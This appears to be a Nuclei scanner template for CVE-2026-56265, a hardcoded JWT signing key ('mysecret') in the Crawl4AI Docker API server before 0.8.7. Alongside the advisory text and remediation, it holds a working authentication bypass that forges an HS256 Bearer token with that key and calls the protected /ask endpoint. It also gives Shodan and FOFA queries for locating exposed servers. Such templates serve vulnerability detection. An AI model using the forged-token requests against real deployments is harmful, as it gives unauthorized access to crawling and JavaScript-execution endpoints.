id: CVE-2026-56265 info: name: Crawl4AI < 0.8.7 - Hardcoded JWT Signing Key Authentication Bypass author: prithvee07 severity: critical description: | Crawl4AI Docker API server versions before 0.8.7 ship with a hardcoded default JWT signing key ("mysecret") used to sign and verify HS256 authentication tokens. Because the key is identical across every deployment where SECRET_KEY has not been overridden, an unauthenticated attacker can forge a valid Bearer token and use it to access every JWT-protected API endpoint (/md, /html, /screenshot, /pdf, /execute_js, /crawl, /ask). impact: | Unauthenticated attackers can forge valid JWT authentication tokens and gain full access to protected Crawl4AI API endpoints (crawling, screenshot, PDF generation, JavaScript execution, and library context retrieval), resulting in complete compromise of the deployment's intended access control. remediation: | Upgrade Crawl4AI to version 0.8.7 or later, which removes the hardcoded default signing key, rejects known weak secrets, and auto-generates an ephemeral key when JWT authentication is enabled without an explicit SECRET_KEY. As a workaround, set the SECRET_KEY environment variable to a strong random value. reference: - https://github.com/unclecode/crawl4ai/security/advisories/GHSA-365w-hqf6-vxfg - https://www.vulncheck.com/advisories/crawl4ai-authentication-bypass-via-hardcoded-jwt-signing-key - https://github.com/unclecode/crawl4ai - https://nvd.nist.gov/vuln/detail/CVE-2026-56265 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2026-56265 epss-score: 0.02639 epss-percentile: 0.84576 cwe-id: CWE-798 metadata: verified: true max-request: 2 vendor: unclecode product: crawl4ai shodan-query: http.html:"crawl4ai" fofa-query: body="crawl4ai" tags: cve,cve2026,crawl4ai,auth-bypass,jwt,hardcoded-credentials,unauth variables: exp: "{{unix_time(3600)}}" secret: "mysecret" payload: '{"scope":"data","exp":{{exp}}}' flow: http(1) && http(2) http: - raw: - | GET /ask?context_type=code&query=crawl&max_results=1 HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code == 401' - 'contains(body, "Authentication required") || contains(body, "No token provided") || contains(body, "Not authenticated")' condition: and internal: true - raw: - | GET /ask?context_type=code&query=crawl&max_results=1 HTTP/1.1 Host: {{Hostname}} Authorization: Bearer {{generate_jwt(payload,"HS256",secret)}} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "code_results")' - '!contains(body, "Invalid or expired token")' condition: and extractors: - type: dsl dsl: - 'to_string(generate_jwt(payload,"HS256",secret))' # digest: 4a0a0047304502206b670d9ed52025869425653531a00725dcbccadaa1aada6eb6186345f06951d1022100c4e36b0e54706fc20a331afcbe9e975b00b83a7cd04750d6287e350f9c0c0daf:922c64590222798bb761d5b6d8e72950